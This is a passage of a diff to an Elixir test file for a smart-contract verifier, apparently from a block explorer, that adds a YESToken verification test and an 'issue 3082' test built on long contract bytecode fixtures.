:transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode_construtor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => @code_0_5, - "compiler_version" => "v0.5.14-nightly.2019.12.10+commit.45aa7a88", - "evm_version" => "homestead", - "name" => "Incrementer", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_creation_code + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.8.11+commit.d7f03943", + "evm_version" => "default", + "name" => "YESToken", + "optimization" => true, + "optimization_runs" => @optimization_runs, + "autodetect_constructor_args" => true + } + + assert {:ok, + %{ + abi: abi, + constructor_arguments: + "000000000000000000000000000000000000000000084595161401484a00000000000000000000000000000073d8f731ec0d3945d807a904bf93954b82b0d594000000000000000000000000c5333c0d3cf6fc8f84f3ccb0d5a73dbda2eceb500000000000000000000000002c8abd9c61d4e973ca8db5545c54c90e44a2445c0000000000000000000000000000000000000000000000000000000000000004" + }} = Verifier.evaluate_authenticity(contract_address.hash, params) + + assert abi != nil + end + + test "issue 3082" do + contract_source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/issue_3082.sol" + |> File.read!() + + bytecode = + "0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80638d3ce69d1161010f578063b2cec8ea116100a2578063cbecb28811610071578063cbecb2881461050a578063f049f33414610512578063f2fde38b14610532578063fc0c546a14610558576101e5565b8063b2cec8ea146104a2578063b99ef521146104c2578063bac883ef146104e2578063bd4b2be914610502576101e5565b8063983c44d6116100de578063983c44d6146103b75780639972444f146103bf578063a3df582a146103df578063a4c0ed36146103e7576101e5565b80638d3ce69d146103635780638d3df3461461036b5780638da5cb5b1461038b5780638f32d59b146103af576101e5565b8063392e53cd11610187578063622c5e4511610156578063622c5e451461032b578063715018a6146103335780637af7c0401461033b5780638129fc1c1461035b576101e5565b8063392e53cd146102b757806359791d6d146102bf5780635f26622f146102df578063604f21771461030b576101e5565b80630f10e06f116101c35780630f10e06f146102695780632755731e14610289578063375a4cab14610291578063381a4113146102af576101e5565b8063014a969a146101ea578063047fc9aa1461021e57806304a3922014610238575b600080fd5b61020a6004803603602081101561020057600080fd5b503560ff16610560565b604080519115158252519081900360200190f35b610226610575565b60408051918252519081900360200190f35b6102676004803603604081101561024e57600080fd5b50803560ff1690602001356001600160a01b0316610584565b005b6102266004803603602081101561027f57600080fd5b503560ff166106d0565b6102266106e2565b6102996106e8565b6040805160ff9092168252519081900360200190f35b61020a6106ed565b61020a6106f6565b610226600480360360208110156102d557600080fd5b503560ff16610704565b610267600480360360408110156102f557600080fd5b506001600160a01b038135169060200135610716565b6102266004803603602081101561032157600080fd5b503560ff16610fc4565b610299610fd6565b610267610fdb565b61020a6004803603602081101561035157600080fd5b503560ff16611073565b610267611088565b6102996111de565b6102266004803603602081101561038157600080fd5b503560ff166111e3565b6103936111f5565b604080516001600160a01b039092168252519081900360200190f35b61020a611204565b610299611215565b610393600480360360208110156103d557600080fd5b503560ff1661121a565b610226611235565b61020a600480360360608110156103fd57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561042d57600080fd5b82018360208201111561043f57600080fd5b8035906020019184600183028401116401000000008311171561046157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061123b945050505050565b610226600480360360208110156104b857600080fd5b503560ff16611274565b610226600480360360208110156104d857600080fd5b503560ff16611286565b610267600480360360208110156104f857600080fd5b503560ff16611298565b610299611652565b610299611657565b6102266004803603602081101561052857600080fd5b503560ff1661165c565b6102676004803603602081101561054857600080fd5b50356001600160a01b031661166e565b6103936116d3565b600b6020526000908152604090205460ff1681565b6a070fe2cd68c25ff4f0000081565b60ff821660011480610599575060ff82166005145b6105d7576040805162461bcd60e51b815260206004820152600a6024820152691ddc9bdb99c81c1bdbdb60b21b604482015290519081900360640190fd5b60ff82166000908152600260205260409020546001600160a01b03163314610637576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b610640816116e2565b60ff82166000818152600260209081526040918290205482516001600160a01b0391821681529085169181019190915281517f09a67390cbf7986a6bb0fcb44307b4844ba258bca3f38599d2b344824df4ba1d929181900390910190a260ff91909116600090815260026020526040902080546001600160a01b0319166001600160a01b03909216919091179055565b60056020526000908152604090205481565b600d5481565b600581565b600e5460ff1681565b600e54610100900460ff1681565b60086020526000908152604090205481565b61071e611204565b61076f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600e5460ff16156107c7576040805162461bcd60e51b815260206004820152601760248201527f616c7265616479207072652d696e697469616c697a6564000000000000000000604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b038481169190911791829055604080516370a0823160e01b81523060048201529051600093909216916370a0823191602480820192602092909190829003018186803b15801561082b57600080fd5b505afa15801561083f573d6000803e3d6000fd5b505050506040513d602081101561085557600080fd5b505190506a070fe2cd68c25ff4f0000081146108b1576040805162461bcd60e51b815260206004820152601660248201527577726f6e6720636f6e74726163742062616c616e636560501b604482015290519081900360640190fd5b6108b961172f565b600d55600e805460ff191660011790556003600090815260026020527f88601476d11616a71c5be67555bd1dff4b1cbf21533d2669b768b61518cfe1c3546040805163189acdbd60e31b81526001600160a01b0387811660048301529151919092169263c4d66de8926024808201939182900301818387803b15801561093e57600080fd5b505af1158015610952573d6000803e3d6000fd5b50506004600081815260026020527fee60d0579bcffd98e668647d59fec1ff86a7fb340ce572e844f234ae73a6918f546040805163189acdbd60e31b81526001600160a01b038a811695820195909552905193909116945063c4d66de893506024808201939182900301818387803b1580156109cd57600080fd5b505af11580156109e1573d6000803e3d6000fd5b5050600360008181526020919091527fcbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495af54909250610a3a9150606490610a2e90601963ffffffff61173316565b9063ffffffff61179516565b600154600260009081527f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c54600360209081527fc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4d546040805163238a3fe160e01b81526001600160a01b039485166004820152602481019290925251959650919093169363238a3fe19360448084019491938390030190829087803b158015610ae257600080fd5b505af1158015610af6573d6000803e3d6000fd5b505050506040513d6020811015610b0c57600080fd5b505060015460036000908152600260209081527f88601476d11616a71c5be67555bd1dff4b1cbf21533d2669b768b61518cfe1c3546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018790529051919094169363a9059cbb9360448083019493928390030190829087803b158015610b9157600080fd5b505af1158015610ba5573d6000803e3d6000fd5b505050506040513d6020811015610bbb57600080fd5b50506006600090815260036020527fc69056f16cbaa3c616b828e333ab7d3a32310765507f8f58359e99ebb7a885f354610bfb908563ffffffff6117ff16565b60015460066000908152600260209081527f59dd4b18488d12f51eda69757a0ed42a2010c14b564330cc74a06895e60c077b546040805163238a3fe160e01b81526001600160a01b03928316600482015260248101879052905195965093169363238a3fe193604480820194918390030190829087803b158015610c7e57600080fd5b505af1158015610c92573d6000803e3d6000fd5b505050506040513d6020811015610ca857600080fd5b50508315610d35576001546040805163238a3fe160e01b81526000600482018190526024820188905291516001600160a01b039093169263238a3fe192604480840193602093929083900390910190829087803b158015610d0857600080fd5b505af1158015610d1c573d6000803e3d6000fd5b505050506040513d6020811015610d3257600080fd5b50505b60026000527fc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4d5460046020527f91da3fd0782e51c6b3986e9e672fd566868e71f3dbc2d6c2cd6fbb3e361af2a754610d929163ffffffff6117ff16565b60046020527f91da3fd0782e51c6b3986e9e672fd566868e71f3dbc2d6c2cd6fbb3e361af2a75560036000527f2e174c10e159ea99b867ce3205125c24a42d128804e4070ed6fcc8cc98166aa054610df0908363ffffffff6117ff16565b7f2e174c10e159ea99b867ce3205125c24a42d128804e4070ed6fcc8cc98166aa05560066000527fc69056f16cbaa3c616b828e333ab7d3a32310765507f8f58359e99ebb7a885f35460046020527fc59312466997bb42aaaf719ece141047820e6b34531e1670dc1852a453648f0f54610e6f9163ffffffff6117ff16565b6006600052600460209081527fc59312466997bb42aaaf719ece141047820e6b34531e1670dc1852a453648f0f91909155604080516001600160a01b0388168152339281019290925280517f20e0b9d27e138a83ff1b3f687932144f5e913aa93855ac36c2611ec1dfae704e9281900390910190a160026000819052600360209081527fc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4d546040805191825233928201929092528151600080516020611b49833981519152929181900390910190a2604080518381523360208201528151600392600080516020611b49833981519152928290030190a2604080518281523360208201528151600692600080516020611b49833981519152928290030190a28315610fbd57604080518581523360208201528151600092600080516020611b49833981519152928290030190a25b5050505050565b60036020526000908152604090205481565b600481565b610fe3611204565b611034576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b5c1b195b595b9d1959608a1b604482015290519081900360640190fd5b600a6020526000908152604090205460ff1681565b600e5460ff166110d5576040805162461bcd60e51b81526020600482015260136024820152721b9bdd081c1c994b5a5b9a5d1a585b1a5e9959606a1b604482015290519081900360640190fd5b600e54610100900460ff1615611128576040805162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b604482015290519081900360640190fd5b6276a700611146600d5461113a61172f565b9063ffffffff6117ff16565b101561118f57611154611204565b61118f5760405162461bcd60e51b8152600401808060200182810382526027815260200180611b226027913960400191505060405180910390fd5b61119761172f565b600c55600e805461ff0019166101001790556040805133815290517f908408e307fc569b417f6cbec5d5a06f44a0a505ac0479b47d421a4b2fd6a1e69181900360200190a1565b600381565b60066020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b600181565b6002602052600090815260409020546001600160a01b031681565b600c5481565b600060405162461bcd60e51b815260040180806020018281038252602e815260200180611bb0602e913960400191505060405180910390fd5b60096020526000908152604090205481565b60046020526000908152604090205481565b600e54610100900460ff166112e6576040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b9a5d1a585b1a5e9959608a1b604482015290519081900360640190fd5b60ff8116600090815260056020526040902054600c54829161130e919063ffffffff61185c16565b61131661172f565b10158015611336575060ff8082166000908152600b602052604090205416155b6113715760405162461bcd60e51b8152600401808060200182810382526029815260200180611bde6029913960400191505060405180910390fd5b60ff821660031480611386575060ff82166004145b80611394575060ff82166001145b806113a2575060ff82166005145b6113e0576040805162461bcd60e51b815260206004820152600a6024820152691ddc9bdb99c81c1bdbdb60b21b604482015290519081900360640190fd5b60ff8083166000908152600a6020526040812054909116611426575060ff8216600090815260096020908152604080832054600a909252909120805460ff191660011790555b6000611431846118b6565b60ff85166000908152600860205260409020549091506114689061145b908363ffffffff61173316565b839063ffffffff61185c16565b9150600082116114bf576040805162461bcd60e51b815260206004820152601960248201527f6e6f20696e7374616c6c6d656e747320617661696c61626c6500000000000000604482015290519081900360640190fd5b60006114cc8584846119a0565b90506114de838263ffffffff61185c16565b925060ff8516600314806114f5575060ff85166004145b156115905760015460ff8616600090815260026020908152604080832054815163a9059cbb60e01b81526001600160a01b03918216600482015260248101899052915194169363a9059cbb93604480840194938390030190829087803b15801561155e57600080fd5b505af1158015611572573d6000803e3d6000fd5b505050506040513d602081101561158857600080fd5b506116219050565b60015460ff8616600090815260026020908152604080832054815163238a3fe160e01b81526001600160a01b03918216600482015260248101899052915194169363238a3fe193604480840194938390030190829087803b1580156115f457600080fd5b505af1158015611608573d6000803e3d6000fd5b505050506040513d602081101561161e57600080fd5b50505b60408051848152336020820152815160ff881692600080516020611b49833981519152928290030190a25050505050565b600681565b600281565b60076020526000908152604090205481565b611676611204565b6116c7576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6116d081611a5d565b50565b6001546001600160a01b031681565b6001600160a01b0381166116d0576040805162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b604482015290519081900360640190fd5b4290565b6000826117425750600061178f565b8282028284828161174f57fe5b041461178c5760405162461bcd60e51b8152600401808060200182810382526021815260200180611b8f6021913960400191505060405180910390fd5b90505b92915050565b60008082116117eb576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b60008284816117f657fe5b04949350505050565b600082821115611856576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008282018381101561178c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60ff811660009081526007602052604081205481906118de906201518063ffffffff61173316565b60ff8416600090815260056020526040812054600c54929350909161191a91849161190e9163ffffffff61185c16565b9063ffffffff61185c16565b905061192f62015180610a2e8361113a61172f565b60ff851660009081526006602090815260408083205460079092529091205491945090611962908563ffffffff61185c16565b11156119995760ff84166000908152600760209081526040808320546006909252909120546119969163ffffffff6117ff16565b92505b5050919050565b60ff831660009081526004602052604081205481906119c5908563ffffffff6117ff16565b60ff86166000908152600460209081526040808320939093556007905220546119f4908463ffffffff61185c16565b60ff861660009081526007602081815260408084208590556006825290922054915211611a555760ff851660009081526004602052604090205415611a4c575060ff8416600090815260046020526040812080549190555b611a5585611afd565b949350505050565b6001600160a01b038116611aa25760405162461bcd60e51b8152600401808060200182810382526026815260200180611b696026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60ff166000908152600b60205260409020805460ff19166001179055565b3b15159056fe666f72206e6f77206f6e6c79206f776e65722063616e2063616c6c2074686973206d6574686f64a8b65b82b2ff2a955e75c1bfa6a0e92aafb764156295da77a0a4c714f3895c724f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7773656e64696e6720746f6b656e7320746f207468697320636f6e7472616374206973206e6f7420616c6c6f776564696e7374616c6c6d656e747320617265206e6f742061637469766520666f72207468697320706f6f6ca265627a7a723058208fc7fe0d6f40178495c4e655627ac8a6bc837eb89686042a07161f078a2ea04464736f6c634300050a0032" + + contract_creation_code = + "0x6080604052600e805461ffff191690553480156200001c57600080fd5b5060405162002ac338038062002ac3833981810160405260c08110156200004257600080fd5b50805160208201516040808401516060850151608086015160a090960151600080546001600160a01b031916331780825594519697959693959294929391926001600160a01b0316917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3620000cf846001600160a01b031662000aa160201b62001b1b1760201c565b8015620000f65750620000f6836001600160a01b031662000aa160201b62001b1b1760201c565b6200016257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6e6f74206120636f6e7472616374206164647265737300000000000000000000604482015290519081900360640190fd5b62000176866001600160e01b0362000aa716565b6200018a856001600160e01b0362000aa716565b6200019e826001600160e01b0362000aa716565b620001b2816001600160e01b0362000aa716565b7fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e080546001600160a01b03199081166001600160a01b03898116919091179092557f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c805482168884161790557f88601476d11616a71c5be67555bd1dff4b1cbf21533d2669b768b61518cfe1c380548216878416179081905560008051602062002a42833981519152805483168785161790557fb98b78633099fa36ed8b8680c4f8092689e1e04080eb9cbb077ca38a14d7e384805483168685161790557f59dd4b18488d12f51eda69757a0ed42a2010c14b564330cc74a06895e60c077b8054909216848416179091556a034f086f3b33b684000000600080516020620029e2833981519152556954b40b1f852bda000000600080516020620029c283398151915255600360005260026020908152604080517f5fd6632000000000000000000000000000000000000000000000000000000000815290519290931692635fd663209260048083019392829003018186803b1580156200035257600080fd5b505afa15801562000367573d6000803e3d6000fd5b505050506040513d60208110156200037e57600080fd5b505160008051602062002aa383398151915255600460008190526002602090815260008051602062002a4283398151915254604080517f5fd6632000000000000000000000000000000000000000000000000000000000815290516001600160a01b0390921693635fd6632093828201939092909190829003018186803b1580156200040957600080fd5b505afa1580156200041e573d6000803e3d6000fd5b505050506040513d60208110156200043557600080fd5b50516003602090815260008051602062002a2283398151915282905569940785b073a9e904000060008051602062002a8383398151915281905569ace68dbebd988d50000060008051602062002a0283398151915281905560008051602062002aa383398151915254600080516020620029c2833981519152546001600052600080516020620029e2833981519152546a070fe2cd68c25ff4f00000966200050e969495620004fa95909486949293859391928492906200185c62000b20821b17901c565b62000b2060201b6200185c1790919060201c565b146200057b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f77726f6e672073756d206f6620706f6f6c73207374616b657300000000000000604482015290519081900360640190fd5b600080516020620029e2833981519152547fabd6e7cb50984ff9c2f3e18a2660c3353dadf4e3291deeb275dae2cd1e44fe05819055600080516020620029c2833981519152547f91da3fd0782e51c6b3986e9e672fd566868e71f3dbc2d6c2cd6fbb3e361af2a75560008051602062002aa3833981519152547f2e174c10e159ea99b867ce3205125c24a42d128804e4070ed6fcc8cc98166aa05560008051602062002a22833981519152547f1a1e6821cde7d0159c0d293177871e09677b4e42307c7db3ba94f8648a5a050f5560008051602062002a83833981519152547f04cde762ef08b6b6c5ded8e8c4c0b3f4e5c9ad7342c88fcc93681b4588b73f055560008051602062002a02833981519152547fc59312466997bb42aaaf719ece141047820e6b34531e1670dc1852a453648f0f55600160005260036020908152620006ef91606491620006db91906014906200173362000b9e821b17901c565b62000c1660201b620017951790919060201c565b7f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a365560036000819052602090815260008051602062002aa3833981519152546200074d91606491620006db91600a906200173362000b9e821b17901c565b7fc575c31fea594a6eb97c8e9d3f9caee4c16218c6ef37e923234c0fe9014a61e75560046000526003602090815260008051602062002a2283398151915254620007ab91606491620006db916014906200173362000b9e821b17901c565b7f8dc18c4ccfd75f5c815b63770fa542fd953e8fef7e0e44bbdd4913470ce7e9cb5560056000526003602090815260008051602062002a83833981519152546200080991606491620006db916014906200173362000b9e821b17901c565b7f74b05292d1d4b2b48b65261b07099d24244bcb069f138d9a6bfdcf776becac4c556301baf8007f1471eb6eb2c5e789fc3de43f8ce62938c7d1836ec861730447e2ada8fd81017b556224ea007fa9bc9a3a348c357ba16b37005d7e6b3236198c0e939f4af8c5f19b8deeb8ebc055626ebe007f3eec716f11ba9e820c81ca75eb978ffb45831ef8b7a53e5e422c26008e1ca6d58190557f458b30c2d72bfd2c6317304a4594ecbafe5f729d3111b65fdc3a33bd48e5432d5560066020526101507f3e5fec24aa4dc4e5aee2e025e51e1392c72a2500577559fae9665c6d52bd6a315560e07f75f96ab15d697e93042dc45b5c896c4b27e89bb6eaf39475c5c371cb2513f7d25560fc7fc5069e24aaadb2addc3e52e868fcf3f4f8acf5a87e24300992fd4540c2a87eed81905560056000527fbfd358e93f18da3ed276c3afdbdba00b8f0b6008a03476a6a86bd6320ee6938b556200097260016001600160e01b0362000c9c16565b7fad67d757c34507f157cacfa2e3153e9f260a2244f30428821be7be64587ac55f5560036000819052602081815260008051602062002aa383398151915254620009e69291620009d791606491620006db91906023906200173362000b9e821b17901c565b6001600160e01b0362000cc516565b600360005260086020527f625b35f5e76f098dd7c3a05b10e2e5e78a4a01228d60c3b143426cdf36d264555562000a2760046001600160e01b0362000c9c16565b600460005260086020527f9321edea6e3be4df59a344b401fab4f888b556fda1f954244cff9204bad624b85562000a6860056001600160e01b0362000c9c16565b600560005260086020527f91238f30f286c9a1c6e901c4eda3b214c381c846e3dbe48df95c21488e8e1fdb555062000d77945050505050565b3b151590565b6001600160a01b03811662000b1d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f696e76616c696420616464726573730000000000000000000000000000000000604482015290519081900360640190fd5b50565b60008282018381101562000b9557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b60008262000baf5750600062000b98565b8282028284828162000bbd57fe5b041462000b95576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018062002a626021913960400191505060405180910390fd5b600080821162000c8757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b600082848162000c9357fe5b04949350505050565b60ff811660009081526009602052604081205462000b989083906001600160e01b0362000cc516565b60ff8216600090815260066020908152604080832054600383529083205462000b9592620006db91908690620017ff62000cff821b17901c565b60008282111562000d7157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b611c3b8062000d876000396000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c80638d3ce69d1161010f578063b2cec8ea116100a2578063cbecb28811610071578063cbecb2881461050a578063f049f33414610512578063f2fde38b14610532578063fc0c546a14610558576101e5565b8063b2cec8ea146104a2578063b99ef521146104c2578063bac883ef146104e2578063bd4b2be914610502576101e5565b8063983c44d6116100de578063983c44d6146103b75780639972444f146103bf578063a3df582a146103df578063a4c0ed36146103e7576101e5565b80638d3ce69d146103635780638d3df3461461036b5780638da5cb5b1461038b5780638f32d59b146103af576101e5565b8063392e53cd11610187578063622c5e4511610156578063622c5e451461032b578063715018a6146103335780637af7c0401461033b5780638129fc1c1461035b576101e5565b8063392e53cd146102b757806359791d6d146102bf5780635f26622f146102df578063604f21771461030b576101e5565b80630f10e06f116101c35780630f10e06f146102695780632755731e14610289578063375a4cab14610291578063381a4113146102af576101e5565b8063014a969a146101ea578063047fc9aa1461021e57806304a3922014610238575b600080fd5b61020a6004803603602081101561020057600080fd5b503560ff16610560565b604080519115158252519081900360200190f35b610226610575565b60408051918252519081900360200190f35b6102676004803603604081101561024e57600080fd5b50803560ff1690602001356001600160a01b0316610584565b005b6102266004803603602081101561027f57600080fd5b503560ff166106d0565b6102266106e2565b6102996106e8565b6040805160ff9092168252519081900360200190f35b61020a6106ed565b61020a6106f6565b610226600480360360208110156102d557600080fd5b503560ff16610704565b610267600480360360408110156102f557600080fd5b506001600160a01b038135169060200135610716565b6102266004803603602081101561032157600080fd5b503560ff16610fc4565b610299610fd6565b610267610fdb565b61020a6004803603602081101561035157600080fd5b503560ff16611073565b610267611088565b6102996111de565b6102266004803603602081101561038157600080fd5b503560ff166111e3565b6103936111f5565b604080516001600160a01b039092168252519081900360200190f35b61020a611204565b610299611215565b610393600480360360208110156103d557600080fd5b503560ff1661121a565b610226611235565b61020a600480360360608110156103fd57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561042d57600080fd5b82018360208201111561043f57600080fd5b8035906020019184600183028401116401000000008311171561046157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061123b945050505050565b610226600480360360208110156104b857600080fd5b503560ff16611274565b610226600480360360208110156104d857600080fd5b503560ff16611286565b610267600480360360208110156104f857600080fd5b503560ff16611298565b610299611652565b610299611657565b6102266004803603602081101561052857600080fd5b503560ff1661165c565b6102676004803603602081101561054857600080fd5b50356001600160a01b031661166e565b6103936116d3565b600b6020526000908152604090205460ff1681565b6a070fe2cd68c25ff4f0000081565b60ff821660011480610599575060ff82166005145b6105d7576040805162461bcd60e51b815260206004820152600a6024820152691ddc9bdb99c81c1bdbdb60b21b604482015290519081900360640190fd5b60ff82166000908152600260205260409020546001600160a01b03163314610637576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b610640816116e2565b60ff82166000818152600260209081526040918290205482516001600160a01b0391821681529085169181019190915281517f09a67390cbf7986a6bb0fcb44307b4844ba258bca3f38599d2b344824df4ba1d929181900390910190a260ff91909116600090815260026020526040902080546001600160a01b0319166001600160a01b03909216919091179055565b60056020526000908152604090205481565b600d5481565b600581565b600e5460ff1681565b600e54610100900460ff1681565b60086020526000908152604090205481565b61071e611204565b61076f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600e5460ff16156107c7576040805162461bcd60e51b815260206004820152601760248201527f616c7265616479207072652d696e697469616c697a6564000000000000000000604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b038481169190911791829055604080516370a0823160e01b81523060048201529051600093909216916370a0823191602480820192602092909190829003018186803b15801561082b57600080fd5b505afa15801561083f573d6000803e3d6000fd5b505050506040513d602081101561085557600080fd5b505190506a070fe2cd68c25ff4f0000081146108b1576040805162461bcd60e51b815260206004820152601660248201527577726f6e6720636f6e74726163742062616c616e636560501b604482015290519081900360640190fd5b6108b961172f565b600d55600e805460ff191660011790556003600090815260026020527f88601476d11616a71c5be67555bd1dff4b1cbf21533d2669b768b61518cfe1c3546040805163189acdbd60e31b81526001600160a01b0387811660048301529151919092169263c4d66de8926024808201939182900301818387803b15801561093e57600080fd5b505af1158015610952573d6000803e3d6000fd5b50506004600081815260026020527fee60d0579bcffd98e668647d59fec1ff86a7fb340ce572e844f234ae73a6918f546040805163189acdbd60e31b81526001600160a01b038a811695820195909552905193909116945063c4d66de893506024808201939182900301818387803b1580156109cd57600080fd5b505af11580156109e1573d6000803e3d6000fd5b5050600360008181526020919091527fcbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495af54909250610a3a9150606490610a2e90601963ffffffff61173316565b9063ffffffff61179516565b600154600260009081527f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c54600360209081527fc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4d546040805163238a3fe160e01b81526001600160a01b039485166004820152602481019290925251959650919093169363238a3fe19360448084019491938390030190829087803b158015610ae257600080fd5b505af1158015610af6573d6000803e3d6000fd5b505050506040513d6020811015610b0c57600080fd5b505060015460036000908152600260209081527f88601476d11616a71c5be67555bd1dff4b1cbf21533d2669b768b61518cfe1c3546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018790529051919094169363a9059cbb9360448083019493928390030190829087803b158015610b9157600080fd5b505af1158015610ba5573d6000803e3d6000fd5b505050506040513d6020811015610bbb57600080fd5b50506006600090815260036020527fc69056f16cbaa3c616b828e333ab7d3a32310765507f8f58359e99ebb7a885f354610bfb908563ffffffff6117ff16565b60015460066000908152600260209081527f59dd4b18488d12f51eda69757a0ed42a2010c14b564330cc74a06895e60c077b546040805163238a3fe160e01b81526001600160a01b03928316600482015260248101879052905195965093169363238a3fe193604480820194918390030190829087803b158015610c7e57600080fd5b505af1158015610c92573d6000803e3d6000fd5b505050506040513d6020811015610ca857600080fd5b50508315610d35576001546040805163238a3fe160e01b81526000600482018190526024820188905291516001600160a01b039093169263238a3fe192604480840193602093929083900390910190829087803b158015610d0857600080fd5b505af1158015610d1c573d6000803e3d6000fd5b505050506040513d6020811015610d3257600080fd5b50505b60026000527fc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4d5460046020527f91da3fd0782e51c6b3986e9e672fd566868e71f3dbc2d6c2cd6fbb3e361af2a754610d929163ffffffff6117ff16565b60046020527f91da3fd0782e51c6b3986e9e672fd566868e71f3dbc2d6c2cd6fbb3e361af2a75560036000527f2e174c10e159ea99b867ce3205125c24a42d128804e4070ed6fcc8cc98166aa054610df0908363ffffffff6117ff16565b7f2e174c10e159ea99b867ce3205125c24a42d128804e4070ed6fcc8cc98166aa05560066000527fc69056f16cbaa3c616b828e333ab7d3a32310765507f8f58359e99ebb7a885f35460046020527fc59312466997bb42aaaf719ece141047820e6b34531e1670dc1852a453648f0f54610e6f9163ffffffff6117ff16565b6006600052600460209081527fc59312466997bb42aaaf719ece141047820e6b34531e1670dc1852a453648f0f91909155604080516001600160a01b0388168152339281019290925280517f20e0b9d27e138a83ff1b3f687932144f5e913aa93855ac36c2611ec1dfae704e9281900390910190a160026000819052600360209081527fc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4d546040805191825233928201929092528151600080516020611b49833981519152929181900390910190a2604080518381523360208201528151600392600080516020611b49833981519152928290030190a2604080518281523360208201528151600692600080516020611b49833981519152928290030190a28315610fbd57604080518581523360208201528151600092600080516020611b49833981519152928290030190a25b5050505050565b60036020526000908152604090205481565b600481565b610fe3611204565b611034576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b5c1b195b595b9d1959608a1b604482015290519081900360640190fd5b600a6020526000908152604090205460ff1681565b600e5460ff166110d5576040805162461bcd60e51b81526020600482015260136024820152721b9bdd081c1c994b5a5b9a5d1a585b1a5e9959606a1b604482015290519081900360640190fd5b600e54610100900460ff1615611128576040805162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b604482015290519081900360640190fd5b6276a700611146600d5461113a61172f565b9063ffffffff6117ff16565b101561118f57611154611204565b61118f5760405162461bcd60e51b8152600401808060200182810382526027815260200180611b226027913960400191505060405180910390fd5b61119761172f565b600c55600e805461ff0019166101001790556040805133815290517f908408e307fc569b417f6cbec5d5a06f44a